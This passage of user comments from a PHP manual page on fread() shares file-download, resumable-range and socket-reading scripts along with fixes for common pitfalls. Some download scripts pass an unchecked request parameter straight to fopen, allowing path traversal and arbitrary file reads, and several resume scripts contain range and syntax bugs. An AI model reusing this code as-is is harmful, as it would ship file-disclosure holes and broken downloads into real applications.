            $cnt += strlen( $buffer );
        }
    }
    $status = fclose( $handle );
    if ( $retbytes && $status ) {
        return $cnt; // return num. bytes delivered like readfile() does.
    }
    return $status;
}
?>
Anonymous 18-Mar-2011 05:59
If you serve a file download over PHP with fread and print/echo and experience corrupted binary files, chances are the server still uses magic quotes and escapes the null bytes in your file. Although from 5.3.0 magic quotes are no longer supported, you might still encounter this problem. Try to turn them off by placing this code before using fread:

<?php
@ini_set('magic_quotes_runtime', 0);
?>
ricardsss at gmail dot com 03-Jan-2011 10:13
Simple userlist script that reads content from a file and prints it back.

<?php

    $file = "users.txt";
    $handle = fopen($file, "a+");

    if(!filesize($file)>0) {
        echo "File is empty!";
    }
    else {
        $fcontent = fread($handle, filesize($file));
        echoUsers();
    }

    fclose($handle);

    function echoUsers() {
        global $fcontent;
        $users = explode(" ", $fcontent);

        foreach($users as $user) {
            echo $user."<br />";
        }
    }

?>
Anonymous 01-Oct-2010 06:25
Stream editor on php

#/bin/php
<?php
if (ftell(STDIN) !== 0) {
    fwrite(STDERR, "Pipe error\n");
    exit(1);
}
$input = '';
while (true) {
    $input = trim(fread(STDIN,10240));
    if (feof(STDIN)) break;
    if ($input === false || strlen($input) === 0) {
        continue;
    }
    // replase '<br />' to 'newline'
    $input = preg_replace('/<br\s*\/>/', "\n\t", $input);
    fwrite(STDOUT, $input . "\n");
}
?>

Example:
cat some.html | this_script.php | grep something

Keyword list: pipe, tail, grep, sed
NOopensourceSPAM at prodigy7 dot de 21-Sep-2010 06:45
Somehow all code samples for downloads, described here, doesn't work right for me.
When I download a big file readfile or fread in b mode, the final file hasn't the same md5 like the originial.

Some tests helps me, finding a solution:

<?php
            $fp = fopen($DownloadFile, 'rb');
            while ( $cline = fgets($fp) )
            {
                print $cline;
            }
            fclose($fp);
?>

Somehow, it's "binary safe" and deliver that file which are read. md5 original and download are the same.
anon 19-Aug-2010 08:09
Simple function for getting FTP file contents without all the messy FTP connect scripts.

<?php
function ftp_get_contents($username,$password,$server,$file) {
    $login = "ftp://".$username.":".$password."@".$server."/".$file;
    $handle = fopen($login, "rb");
    return stream_get_contents($handle);
    fclose($handle);
}
?>
david at identd dot dyndns dot org 05-May-2010 06:27
Note to IIS admins:

When using PHP via the FastCGI ISAPI extension, there is a script timeout of approximately 1hr that cannot be adjusted. When using PHP via CGI, there is a script timeout that is based upon the value of the CGITimeout configuration option. This value must be set extremely high if you plan to serve large files. An explanation of how to configure this option can be found here: http://www.iisadmin.co.uk/?p=7 If you do not modify this setting you can expect the above scripts to fail silently once it has hit the default value (30 minutes in my case).
Tblue 01-Jan-2010 05:29
Note that fread() returns an empty string if you try to read beyond EOF, while the manual states otherwise ("Returns [...] FALSE on failure."). This e. g. happens with empty files (0 bytes long).

This does not look like a bug in PHP's fread() implementation to me, but rather like a documentation bug. The manpage for the C function fread() states:
> fread() does not distinguish between end-of-file and error, and callers must use feof(3) and ferror(3) to determine which occurred.
It also says:
> If an error occurs, or the end-of-file is reached, the return value is a short item count (or zero).

That means that in the case of empty files, C's fread() returns 0 and thus we get an empty PHP string: PHP's fread() does not seem to check for errors as the manpage recommends; that's fine, the PHP programmer has to do it, but it would be nice if this behaviour would be explicitly documented.

In short: When using fread(), you have to check for FALSE and empty strings. Consider the following wrapper function:
<?php
function my_fread( $handle, $length )
{
  if( ( $ret = fread( $handle, $length ) ) === '' )
  {
    return false;
  }

  return $ret;
}
?>
edgarinvillegas at hotmail dot com 30-Aug-2009 12:16
I had a fread script that hanged forever (from php manual):

<?php
$fp = fsockopen("example.host.com", 80);
if (!$fp) {
    echo "$errstr ($errno)<br />\n";
} else {
    fwrite($fp, "Data sent by socket");
    $content = "";
    while (!feof($fp)) {  //This looped forever
        $content .= fread($fp, 1024);
    }
    fclose($fp);
    echo $content;
}
?>

The problem is that sometimes end of streaming is not marked by EOF nor a fixed mark, that's why this looped forever. This caused me a lot of headaches...
I solved it using the stream_get_meta_data function and a break statement as the following shows:

<?php
$fp = fsockopen("example.host.com", 80);
if (!$fp) {
    echo "$errstr ($errno)<br />\n";
} else {
    fwrite($fp, "Data sent by socket");
    $content = "";
    while (!feof($fp)) {
        $content .= fread($fp, 1024);
        $stream_meta_data = stream_get_meta_data($fp); //Added line
         if($stream_meta_data['unread_bytes'] <= 0) break; //Added line
    }
    fclose($fp);
    echo $content;
}
?>

Hope this will save a lot of headaches to someone.

(Greetings, from La Paz-Bolivia)
jordan314 at yahoo dot com 02-Apr-2009 12:46
I had trouble getting PHP and fread to serve mp3s to an iphone using quicktime/mobilesafari until I included all of these headers and their appropriate values:
Last-Modified:
ETag:
Accept-Ranges: bytes
Content-Length:
Connection: close
Content-Type: audio/mpeg

It worked with other browsers without Last-Modified and Etag, but the iphone required them.
James Ranson 13-Jan-2009 04:20
Tom, the idea for the examples below is to ensure the user has proper credentials before serving the file. With that security in mind, the suggestion of a 302 redirection seems like a risky idea. Anyone with a modicum of networking experience can run a TCP trace and see the 302 Redirect response, as it is actually a response received by the client browser; the browser then makes a subsequent http request for the URL provided in the Location header.  When that 302 response is captured by wireshark, the 'secret' location is then exposed and can be shared with anyone who wishes to bypass the authorization routines in the php.

The only way to secure this would be for the 302 Redirection response to include some kind of unique, per-request, expiring authorization token, either on the end of the url or in a set-cookie, that is then checked by an authorization module implemented within the hosting webserver. Otherwise, you're relegated to the methods described below.
tom 29-Oct-2008 08:11
Various scripts suggested here attempt to deliver a file for download to a client. Handling http protocol features such as HTTP_RANGE is not trivial; neither is handling flow control with the server, memory and time limits when the files are large.

An alternative is to let the web server can handle http by redirecting to the file in question. It's not uncommon e.g. http://www.apple.com/downloads/macosx/ does this.

A PHP script can do any checks needed (security, authentication, validate the file) and any other tasks before calling header("Location $urltofile");

I tested this with apache. Interrupt/resume download works. The server's mime type configuration will determine client behavior. For apache, if defaults in mime.types are not suitable, configuration directives for mod_mime could go in a .htaccess file in the directory of the file to download. If really necessary, these could even by written by the PHP script before it redirects.
Anonymous 27-Oct-2008 04:50
This code is buggy
<?php
$contents = '';
while (!feof($handle)) {
  $contents .= fread($handle, 8192);
}
?>
When you read a file whose size is a multiple of the readsize (8192 here), then the loop is executed when there are no more data to read. Here, the result of fread() is not checked, and so the instruction
<?php
$contents .= fread($handle, 8192)
?>
is executed once with no data from fread(). In this very case, it is not important, but in some situation it could be harmful.

The good way to read a file block by block is :
<?php
while ( ($buf=fread( $handle, 8192 )) != '' ) {
    // Here, $buf is guaranted to contain data
    $contents .= $buf;
}
if($buf===FALSE) {
    echo "THERE WAS AN ERROR READING\n";
}
?>
Anonymous 18-Sep-2008 06:46
It might be worth noting that if your site uses a front controller with sessions and you send a large file to a user; you should end the session just before sending the file, otherwise the user will not be able to continue continue browsing the site while the file is downloading.
Edward Jaramilla 28-Jun-2008 11:45
I couldn't get some of the previous resume scripts to work with Free Download Manager or Firefox.  I did some clean up and modified the code a little.

Changes:
1. Added a Flag to specify if you want download to be resumable or not
2. Some error checking and data cleanup for invalid/multiple ranges based on http://tools.ietf.org/id/draft-ietf-http-range-retrieval-00.txt
3. Always calculate a $seek_end even though the range specification says it could be empty... eg: bytes 500-/1234
4. Removed some Cache headers that didn't seem to be needed. (add back if you have problems)
5. Only send partial content header if downloading a piece of the file (IE workaround)

<?php

function dl_file_resumable($file, $is_resume=TRUE)
{
    //First, see if the file exists
    if (!is_file($file))
    {
        die("<b>404 File not found!</b>");
    }

    //Gather relevent info about file
    $size = filesize($file);
    $fileinfo = pathinfo($file);

    //workaround for IE filename bug with multiple periods / multiple dots in filename
    //that adds square brackets to filename - eg. setup.abc.exe becomes setup[1].abc.exe
    $filename = (strstr($_SERVER['HTTP_USER_AGENT'], 'MSIE')) ?
                  preg_replace('/\./', '%2e', $fileinfo['basename'], substr_count($fileinfo['basename'], '.') - 1) :
                  $fileinfo['basename'];

    $file_extension = strtolower($path_info['extension']);

    //This will set the Content-Type to the appropriate setting for the file
    switch($file_extension)
    {
        case 'exe': $ctype='application/octet-stream'; break;
        case 'zip': $ctype='application/zip'; break;
        case 'mp3': $ctype='audio/mpeg'; break;
        case 'mpg': $ctype='video/mpeg'; break;
        case 'avi': $ctype='video/x-msvideo'; break;
        default:    $ctype='application/force-download';
    }

    //check if http_range is sent by browser (or download manager)
    if($is_resume && isset($_SERVER['HTTP_RANGE']))
    {
        list($size_unit, $range_orig) = explode('=', $_SERVER['HTTP_RANGE'], 2);

        if ($size_unit == 'bytes')
        {
            //multiple ranges could be specified at the same time, but for simplicity only serve the first range
            //http://tools.ietf.org/id/draft-ietf-http-range-retrieval-00.txt
            list($range, $extra_ranges) = explode(',', $range_orig, 2);
        }
        else
        {
            $range = '';
        }
    }
    else
    {
        $range = '';
    }

    //figure out download piece from range (if set)
    list($seek_start, $seek_end) = explode('-', $range, 2);

    //set start and end based on range (if set), else set defaults
    //also check for invalid ranges.
    $seek_end = (empty($seek_end)) ? ($size - 1) : min(abs(intval($seek_end)),($size - 1));
    $seek_start = (empty($seek_start) || $seek_end < abs(intval($seek_start))) ? 0 : max(abs(intval($seek_start)),0);

    //add headers if resumable
    if ($is_resume)
    {
        //Only send partial content header if downloading a piece of the file (IE workaround)
        if ($seek_start > 0 || $seek_end < ($size - 1))
        {
            header('HTTP/1.1 206 Partial Content');
        }

        header('Accept-Ranges: bytes');
        header('Content-Range: bytes '.$seek_start.'-'.$seek_end.'/'.$size);
    }

    //headers for IE Bugs (is this necessary?)
    //header("Cache-Control: cache, must-revalidate");
    //header("Pragma: public");

    header('Content-Type: ' . $ctype);
    header('Content-Disposition: attachment; filename="' . $filename . '"');
    header('Content-Length: '.($seek_end - $seek_start + 1));

    //open the file
    $fp = fopen($file, 'rb');
    //seek to start of missing part
    fseek($fp, $seek_start);

    //start buffered download
    while(!feof($fp))
    {
        //reset time limit for big files
        set_time_limit(0);
        print(fread($fp, 1024*8));
        flush();
        ob_flush();
    }

    fclose($fp);
    exit;
}

?>
mail at 3v1n0 dot net 28-Apr-2008 03:32
This is an hack I've done to download remote files with HTTP resume support. This is useful if you want to write a download script that fetches files remotely and then sends them to the user, adding support to download managers (I tested it on wget). To do that you should also use a "remote_filesize" function that you can easily write/find.

<?php
function readfile_chunked_remote($filename, $seek = 0, $retbytes = true, $timeout = 3) {
    set_time_limit(0);
    $defaultchunksize = 1024*1024;
    $chunksize = $defaultchunksize;
    $buffer = '';
    $cnt = 0;
    $remotereadfile = false;

    if (preg_match('/[a-zA-Z]+:\/\//', $filename))
        $remotereadfile = true;

    $handle = @fopen($filename, 'rb');

    if ($handle === false) {
        return false;
    }

    stream_set_timeout($handle, $timeout);

    if ($seek != 0 && !$remotereadfile)
        fseek($handle, $seek);

    while (!feof($handle)) {

        if ($remotereadfile && $seek != 0 && $cnt+$chunksize > $seek)
            $chunksize = $seek-$cnt;
        else
            $chunksize = $defaultchunksize;

        $buffer = @fread($handle, $chunksize);

        if ($retbytes || ($remotereadfile && $seek != 0)) {
            $cnt += strlen($buffer);
        }

        if (!$remotereadfile || ($remotereadfile && $cnt > $seek))
            echo $buffer;

        ob_flush();
        flush();
    }

    $info = stream_get_meta_data($handle);

    $status = fclose($handle);

    if ($info['timed_out'])
        return false;

    if ($retbytes && $status) {
        return $cnt;
    }

    return $status;
}
?>
shocker at shockingsoft dot com 12-Apr-2008 06:22
If you read from a socket connection or any other stream that may delay when responsing but you want to set a timeout you can use stream_set_timeout():

<?php
$f = fsockopen("127.0.0.1", 123);
if ($f)
 {
  fwrite($f, "hello");
  stream_set_timeout($f, 5); //5 seconds read timeout
  if (!fread($f, 5)) echo "Error while reading";
    else echo "Read ok";
  fclose($f);
 }
?>
daniel winter 07-Jan-2008 12:42
If you are sending binary data to the browser (ie: a file download) be sure to disable multibyte encoding!

mb_http_output("pass");

Took me a day to work out why my downloads were failing half-way through!
matt at matt-darby dot com 10-Oct-2007 10:32
I thought I had an issue where fread() would fail on files > 30M in size. I tried a file_get_contents() method with the same results. The issue was not reading the file, but echoing its data back to the browser.

Basically, you need to split up the filedata into manageable chunks before firing it off to the browser:

<?php

$total     = filesize($filepath);
$blocksize = (2 << 20); //2M chunks
$sent      = 0;
$handle    = fopen($filepath, "r");

// Push headers that tell what kind of file is coming down the pike
header('Content-type: '.$content_type);
header('Content-Disposition: attachment; filename='.$filename);
header('Content-length: '.$filesize * 1024);

// Now we need to loop through the file and echo out chunks of file data
// Dumping the whole file fails at > 30M!
while($sent < $total){
    echo fread($handle, $blocksize);
    $sent += $blocksize;
}

exit(0);

?>

Hope this helps someone!
Blagovest Buyukliev 03-Sep-2007 04:45
Having tried to reliably transfer large amounts of binary data over a latent network, I found out that fread()/fwrite() should never be trusted to read/write the whole block with the exact length specified, even in blocking mode, even for small block lengths.

I came up with these two functions, fully-replaceable and reliable alternatives of fread()/fwrite() in a socket context:

<?php

function fullwrite ($sd, $buf) {
  $total = 0;
  $len = strlen($buf);

  while ($total < $len && ($written = fwrite($sd, $buf))) {
    $total += $written;
    $buf = substr($buf, $written);
  }

  return $total;
}

function fullread ($sd, $len) {
  $ret = '';
  $read = 0;

  while ($read < $len && ($buf = fread($sd, $len - $read))) {
    $read += strlen($buf);
    $ret .= $buf;
  }

  return $ret;
}

?>

The functions are "greedy", i.e. trying to read/write as much data as possible at once. If the call to fread()/fwrite() reads/writes less than expected, then the next iteration eats up the remainder. Very smart as only the largest possible chunks are read/written.

Only in case of a broken pipe fullread()/fullwrite() return less than the specified length. Otherwise it is guaranteed that upon termination

strlen(fullread($sd, $len)) == $len

and

fullwrite($sd, $buf) == strlen($buf)

Works perfectly with a socket descriptor returned from stream_socket_client() or fsockopen().

Greetings from Rousse, Bulgaria.
kai at froghh dot de 10-May-2007 07:52
reading from a socket stream can be different to the
behaviour expected, since you have not set
stream_set_blocking to 1.
sample source:
<?php
$fp = fsockopen ($server, $port, $errno, $errstr, $socket_timeout);
$header = '';
do {
    $header.=fread($fp,1);
    $i++;
} while (!preg_match('/\\r\\n\\r\\n$/', $header) && $i < $maxheaderlenth);
preg_match('/Content\\-Length:\\s+([0-9]*)\\r\\n/', $header,$matches);
$buffer = fread($this->_fp, $matches[1]);
?>

if i.e. the content length is 50000 and the responding server is to slow
(means 50000 are not completely sent when fread is called)
you'll only receive the number of bytes sent by the
responding server at the time fread is called.

fread will not wait for any data to complete the given size.
as described in user notes on stream_set_blocking there
seems to be a bug using stream_set_blocking.
a workaround - well, not the best way - is to read
the response split to 1 byte
instead of
<?php $buffer = fread($this->_fp, $matches[1]); ?>

you'd write
<?php
$buffer = '';
for($i = 0; $i < $matches[1]; $i++){
    $buffer .= fread($this->_fp, 1);
}
?>

it several tests this seems like it works.
aubfre at hotmail dot com 27-Mar-2007 09:20
Changing the value of $length may yield to different download speeds when serving a file from a script.

I was not able to max out my 10mbps connection when 4096 was used. I found out that using 16384 would use all the available bandwidth.

When outputing binary data with fread, do not assume that 4096 or 8192 is the optimal value for you. Do some benchmarks by downloading files through your script.
eggbird at bigfoot dot com 14-Mar-2007 09:23
Since a fairly recent php (at least it's the case on 5.2.1), fread's memory behaviour changed.

I used to be able to do things like

<?php
$s = fread($fp, 23985798219384);
?>

to read an entire file, as long as I was sure the file would not be more than 23985798219384 bytes long. This worked like a charm (and as documented), but since recently, PHP tries to allocate 23985798219384 bytes no matter what. So, if you get memory allocation errors, replace such code by something like

<?php
$s = fread($fp, filesize($f));
?>

or even

<?php
$s = file_get_contents($f);
?>

.
tchapin at gmail dot com 30-Jan-2007 02:27
<?php
// Usage: <a href="download.php?file=test.txt&category=test">Download</a>
// Path to downloadable files (will not be revealed to users so they will never know your file's real address)
$hiddenPath = "secretfiles/";

// VARIABLES
if (!empty($_GET['file'])){
    $file = str_replace('%20', ' ', $_GET['file']);
    $category = (!empty($_GET['category'])) ? $_GET['category'] . '/' : '';
}
$file_real     = $hiddenPath . $category . $file;
$ip            = $_SERVER['REMOTE_ADDR'];

// Check to see if the download script was called
if (basename($_SERVER['PHP_SELF']) == 'download3.php'){
    if ($_SERVER['QUERY_STRING'] != null){
        // HACK ATTEMPT CHECK
        // Make sure the request isn't escaping to another directory
        if (substr($file, 0, 1) == '.' || strpos($file, '..') > 0 || substr($file, 0, 1) == '/' || strpos($file, '/') > 0){
            // Display hack attempt error
            echo("Hack attempt detected!");
            die();
        }
        // If requested file exists
        if (file_exists($file_real)){
            // Get extension of requested file
            $extension = strtolower(substr(strrchr($file, "."), 1));
            // Determine correct MIME type
            switch($extension){
                case "asf":     $type = "video/x-ms-asf";                break;
                case "avi":     $type = "video/x-msvideo";               break;
                case "exe":     $type = "application/octet-stream";      break;
                case "mov":     $type = "video/quicktime";               break;
                case "mp3":     $type = "audio/mpeg";                    break;
                case "mpg":     $type = "video/mpeg";                    break;
                case "mpeg":    $type = "video/mpeg";                    break;
                case "rar":     $type = "encoding/x-compress";           break;
                case "txt":     $type = "text/plain";                    break;
                case "wav":     $type = "audio/wav";                     break;
                case "wma":     $type = "audio/x-ms-wma";                break;
                case "wmv":     $type = "video/x-ms-wmv";                break;
                case "zip":     $type = "application/x-zip-compressed";  break;
                default:        $type = "application/force-download";    break;
            }
            // Fix IE bug [0]
            $header_file = (strstr($_SERVER['HTTP_USER_AGENT'], 'MSIE')) ? preg_replace('/\./', '%2e', $file, substr_count($file, '.') - 1) : $file;
            // Prepare headers
            header("Pragma: public");
            header("Expires: 0");
            header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
            header("Cache-Control: public", false);
            header("Content-Description: File Transfer");
            header("Content-Type: " . $type);
            header("Accept-Ranges: bytes");
            header("Content-Disposition: attachment; filename=\"" . $header_file . "\";");
            header("Content-Transfer-Encoding: binary");
            header("Content-Length: " . filesize($file_real));
            // Send file for download
            if ($stream = fopen($file_real, 'rb')){
                while(!feof($stream) && connection_status() == 0){
                    //reset time limit for big files
                    set_time_limit(0);
                    print(fread($stream,1024*8));
                    flush();
                }
                fclose($stream);
            }
        }else{
            // Requested file does not exist (File not found)
            echo("Requested file does not exist");
            die();
        }
    }
}
?>
yellow1912 at yahoo dot com 01-Feb-2006 11:46
I tried to use the download resume script below, but it put extreme load on the server for just 1 download only (the file is around 200MB).

Be carefull when you test the script on your server. I'll fgets, or other functions and see if it works.
junk at gieson dot com 14-Jan-2006 02:40
To force download an mp3 file and/or prevent the mp3 from ending up in the browser's cache. This is very similiar to mindplay's example below.

<?php
@ob_end_clean();
// Only allow mp3 files
$allowedFileType = "mp3";

// Set the filename based on the URL's query string
$theFile = $_REQUEST['theFile'];

// Get info about the file
$f = pathinfo($theFile);

// Check the extension against allowed file types
if(strtolower($f['extension']) != strtolower($allowedFileType)) exit;

// Make sure the file exists
if (!file_exists($theFile)) exit;

// Set headers
header("Pragma: public");
header("Expires: Thu, 19 Nov 1981 08:52:00 GMT");
header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
header("Cache-Control: no-store, no-cache, must-revalidate");
header("Cache-Control: private");
header("Content-Transfer-Encoding: binary");
header("Content-Type: audio/x-mpeg, audio/x-mpeg-3, audio/mpeg3");
// This line causes the browser's "save as" dialog
header( 'Content-Disposition: attachment; filename="'.$f['basename'].'"' );
// Length required for Internet Explorer
header("Content-Length: ".@urldecode(@filesize($theFile)));

// Open file
if (($f = fopen($theFile, 'rb')) === false) exit;

// Push file
while (!feof($f)) {
    echo fread($f, (1*(1024*1024)));
    flush();
    @ob_flush();
}

// Close file
fclose($f);
exit;

?>
xjust at 3axe dot com 28-Sep-2005 01:06
i fixed the resume download function since there were few bugs in it. here it goes

changes:
- i added "partial content" header
- added "bytes" to the first content-range header
- changed _ENV to _SERVER on HTTP_RANGE

best regards from xjust.

<?php
function dl_file_resume($file){

   //First, see if the file exists
   if (!is_file($file)) { die("<b>404 File not found!</b>"); }

   //Gather relevent info about file
   $len = filesize($file);
   $filename = basename($file);
   $file_extension = strtolower(substr(strrchr($filename,"."),1));

   //This will set the Content-Type to the appropriate setting for the file
   switch( $file_extension ) {
     case "exe": $ctype="application/octet-stream"; break;
     case "zip": $ctype="application/zip"; break;
     case "mp3": $ctype="audio/mpeg"; break;
     case "mpg":$ctype="video/mpeg"; break;
     case "avi": $ctype="video/x-msvideo"; break;

     //The following are for extensions that shouldn't be downloaded (sensitive stuff, like php files)
     case "php":
     case "htm":
     case "html":
     case "txt": die("<b>Cannot be used for ". $file_extension ." files!</b>"); break;

     default: $ctype="application/force-download";
   }

   //Begin writing headers
//   header("Pragma: public");
//   header("Expires: 0");
   header("Cache-Control:");
   header("Cache-Control: public");
//   header("Content-Description: File Transfer");

   //Use the switch-generated Content-Type
   header("Content-Type: $ctype");
$filespaces = str_replace("_", " ", $filename);

//if your filename contains underscores, you can replace them with spaces
//   $header='Content-Disposition: attachment; filename='.$filespaces;
   header($header );
//
header("Accept-Ranges: bytes");
//   header("Content-Transfer-Encoding: binary");

  $size=filesize($file);
//check if http_range is sent by browser (or download manager)
    if(isset($_SERVER['HTTP_RANGE'])) {
 list($a, $range)=explode("=",$_SERVER['HTTP_RANGE']);
//if yes, download missing part
 str_replace($range, "-", $range);
 $size2=$size-1;
 $new_length=$size2-$range;
 header("HTTP/1.1 206 Partial Content");
 header("Content-Length: $new_length");
 header("Content-Range: bytes $range$size2/$size");
} else {
 $size2=$size-1;
 header("Content-Range: bytes 0-$size2/$size");
 header("Content-Length: ".$size2);
}
//open the file
$fp=fopen("$file","r");
//seek to start of missing part
fseek($fp,$range);
//start buffered download
while(!feof($fp))
{
//reset time limit for big files
set_time_limit(0);
print(fread($fp,1024*8));
 flush();
}
fclose($fp);

   exit;

}
?>
adamgamble at gmail dot com 20-Sep-2005 08:00
<?php
/*
geoCode($address)
Accepts an address in the form of
999 Geocode Dr. New York, Ny 10108
returns array with lat and lon
*/

function geoCode($address) {

    $gaddress = "http://maps.google.com?q=" . urlencode($address);

    $handle = fopen($gaddress, "r");
    $contents = '';

     while (!feof($handle)) {
         $contents .= fread($handle, 8192);
     }
     fclose($handle);
     ereg('<center lat="([0-9.-]{1,})" lng="([0-9.-]{1,})"/>', $contents, $regs);

     $returnData['lat'] = $regs[1];
     $returnData['lon'] = $regs[2];

     return $returnData;
}

print_r(geoCode("1064 Georgetown ln. Birmingham, Al 35217"));
?>
Richard Dale richard at premiumdata dot n dot e dot t 30-Jun-2005 09:11
If you use any of the above code for downloadinng files, Internet Explorer will change the filename if it has multiple periods in it to something with square brackets.  To work around this, we check to see if the User Agent contains MSIE and rewrite the necessary periods as %2E

<?php
# eg. $filename="setup.abc.exe";
if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE")) {
    # workaround for IE filename bug with multiple periods / multiple dots in filename
    # that adds square brackets to filename - eg. setup.abc.exe becomes setup[1].abc.exe
    $iefilename = preg_replace('/\./', '%2e', $filename, substr_count($filename, '.') - 1);
    header("Content-Disposition: attachment; filename=$iefilename" );
} else {
    header("Content-Disposition: attachment; filename=$filename");
}
?>
sheyh[at]nospam[]sheyh[dot]nospam[]com 19-Apr-2005 04:39
Following code which was given as official example can lead to infinite loop.
In case of running from command line and there is no Internet connection, fopen will fail by script timeout, however after that "!feof($handle)" will never be true.

The result will be script displaying infinite warnings and taking 10-20% cpu and it will not stop unless killed.

<?php
$handle = fopen("http://www.example.com/", "r");
$contents = '';
while (!feof($handle)) {
  $contents .= fread($handle, 8192);
}
fclose($handle);
?>

I belive correct example should be:

<?php
$handle = fopen("http://www.example.com/", "r");
$contents = '';
if($handle)
{
 while (!feof($handle)) {
   $contents .= fread($handle, 8192);
 }
fclose($handle);
}
?>
james at reflexive dot net 19-Apr-2005 11:34
Several of these examples use a Content-Disposition header to force the browser to save a file but then they specify the file name without quotes. This will cause problems for some browsers (Mozilla Fire Fox) if the file name contains a space.  You must put quotes around the name if you want to work reliably for all files in all browsers.
<?php
header ("Content-Disposition: attachment; filename=$theFileName"); // bad

header ("Content-Disposition: attachment; filename=\"$theFileName\""); // good

?>
planetiss at gmail dot com 08-Apr-2005 05:38
For download the big files (more than 8MB), you must used ob_flush() because the function flush empty the Apache memory and not PHP memory.
And the max size of PHP memory is 8MB, but ob_flush is able to empty the PHP memory.

<?php
header('Content-Type: application/force-download');
header ("Content-Length: " . filesize($file));
header ("Content-Disposition: attachment; filename=$theFileName");

   $fd = fopen($file, "r");
   while(!feof($fd))
  {
       echo fread($fd, 4096);
       ob_flush();

   }
?>
mrhappy[at]dotgeek.org 07-Apr-2005 07:02
Just a note for anybody trying to implement a php handled download script -

We spent a long time trying to figure out why our code was eating system resources on large files.. Eventually we managed to trace it to output buffering that was being started on every page via an include.. (It was attempting to buffer the entire 600 Megs or whatever size *before* sending data to the client) if you have this problem you may want to check that first and either not start buffering or close that in the usual way :)

Hope that prevents somebody spending hours trying to fix an obscure issue.

Regards :)
james at reflexive dot net 17-Mar-2005 10:22
You will probably want to call unpack() if you are trying to read binary data out of a file and you want to interpret the data you read (rather than just passing it through to a browser). For example, if you were reading the header if a binary file format such as a BMP image file you would need to read 4 byte integers out of the binary file.  fread() will return the binary data in a string.  unpack() will let you extract data out of the string an use it as a number.
<?php
function Read32BitLittleEndianIntFromBinaryFile($FileHandle)
{
    $BinaryData = fread($FileHandle, 4);
    $UnpackedData = unpack("V", $BinaryData);
    return $UnpackedData[1];
}
?>
dvsoftware at gmail dot com 13-Mar-2005 12:22
I was trying to implement resume support in download script, and i have finnaly succeded. here is the script:

<?php
function dl_file_resume($file){

   //First, see if the file exists
   if (!is_file($file)) { die("<b>404 File not found!</b>"); }

   //Gather relevent info about file
   $len = filesize($file);
   $filename = basename($file);
   $file_extension = strtolower(substr(strrchr($filename,"."),1));

   //This will set the Content-Type to the appropriate setting for the file
   switch( $file_extension ) {
     case "exe": $ctype="application/octet-stream"; break;
     case "zip": $ctype="application/zip"; break;
     case "mp3": $ctype="audio/mpeg"; break;
     case "mpg":$ctype="video/mpeg"; break;
     case "avi": $ctype="video/x-msvideo"; break;

     //The following are for extensions that shouldn't be downloaded (sensitive stuff, like php files)
     case "php":
     case "htm":
     case "html":
     case "txt": die("<b>Cannot be used for ". $file_extension ." files!</b>"); break;

     default: $ctype="application/force-download";
   }

   //Begin writing headers
   header("Pragma: public");
   header("Expires: 0");
   header("Cache-Control:");
   header("Cache-Control: public");
   header("Content-Description: File Transfer");

   //Use the switch-generated Content-Type
   header("Content-Type: $ctype");
$filespaces = str_replace("_", " ", $filename);

//if your filename contains underscores, you can replace them with spaces
  $header='Content-Disposition: attachment; filename='.$filespaces.';';
   header($header );
   header("Content-Transfer-Encoding: binary");

  $size=filesize($file);
//check if http_range is sent by browser (or download manager)
   if(isset($_ENV['HTTP_RANGE'])) {
 list($a, $range)=explode("=",$_ENV['HTTP_RANGE']);
//if yes, download missing part
 str_replace($range, "-", $range);
 $size2=$size-1;
 header("Content-Range: $range$size2/$size");
 $new_length=$size2-$range;
 header("Content-Length: $new_length");
/if not, download whole file
} else {
 $size2=$size-1;
 header("Content-Range: bytes 0-$size2/$size");
 header("Content-Length: ".$size2);
}
//open the file
$fp=fopen("$file","r");
//seek to start of missing part
fseek($fp,$range);
//start buffered download
while(!feof($fp))
{
//reset time limit for big files
set_time_limit();
print(fread($fp,1024*8));
 flush();
}
fclose($fp);

   exit;

}
?>

EXAMPLE
<?php
dl_file_resume("somefile.mp3");
?>

please write if you find any errors, i have tested this only with mp3 files, but others should be fine
fenris_wolf0 at yahoo dot com 05-Mar-2005 02:59
To make the effects of the latest PHP version changes of the fread function even more explicit:  the new size limitation of fread -regardless of the filesize one specifies,  in the example below 1024 * 1024- means that if one was  simply reading the contents of a text file from a dynamic URL like so:

<?php
  $dp = "http://www.example.com/filename.php";
  $buffer = fopen($dp, 'r');
  if (!$buffer)
    {
      echo("<P>Error: unable to load URL file into $buffer.      Process  aborted.</P>");
      exit();
    }
  $sp = fread($buffer, 1024*1024);
  fclose($buffer);
  highlight_string($sp);
?>

one should from now on use the file_get_contents function, as shown below, to avoid one's text being truncated forcibly.

<?php
  $dp = "http://www.example.com/filename.php";
  if (!$dp)
    {
      echo("<P>Error: unable to load URL file into $dp.  Process aborted.</P>");
      exit();
    }
  $sp = file_get_contents($dp);
  highlight_string($sp);
?>

I thought it couldn't hurt to clarify this detail in order to save time for anyone else who is in the same situation as I was tonight when my ISP abruptly upgraded to the latest version of PHP...    :(

Thank you to every previous contributor to this topic.
m (at) mindplay (dot) dk 16-Jan-2005 12:20
Here's a function for sending a file to the client - it may look more complicated than necessary, but has a number of advantages over simpler file sending functions:

- Works with large files, and uses only an 8KB buffer per transfer.

- Stops transferring if the client is disconnected (unlike many scripts, that continue to read and buffer the entire file, wasting valuable resources) but does not halt the script

- Returns TRUE if transfer was completed, or FALSE if the client was disconnected before completing the download - you'll often need this, so you can log downloads correctly.

- Sends a number of headers, including ones that ensure it's cached for a maximum of 2 hours on any browser/proxy, and "Content-Length" which most people seem to forget.

(tested on Linux (Apache) and Windows (IIS5/6) under PHP4.3.x)

Note that the folder from which protected files will be pulled, is set as a constant in this function (/protected) ... Now here's the function:

<?php
function send_file($name) {
  ob_end_clean();
  $path = "protected/".$name;
  if (!is_file($path) or connection_status()!=0) return(FALSE);
  header("Cache-Control: no-store, no-cache, must-revalidate");
  header("Cache-Control: post-check=0, pre-check=0", false);
  header("Pragma: no-cache");
  header("Expires: ".gmdate("D, d M Y H:i:s", mktime(date("H")+2, date("i"), date("s"), date("m"), date("d"), date("Y")))." GMT");
  header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
  header("Content-Type: application/octet-stream");
  header("Content-Length: ".(string)(filesize($path)));
  header("Content-Disposition: inline; filename=$name");
  header("Content-Transfer-Encoding: binary\n");
  if ($file = fopen($path, 'rb')) {
    while(!feof($file) and (connection_status()==0)) {
      print(fread($file, 1024*8));
      flush();
    }
    fclose($file);
  }
  return((connection_status()==0) and !connection_aborted());
}
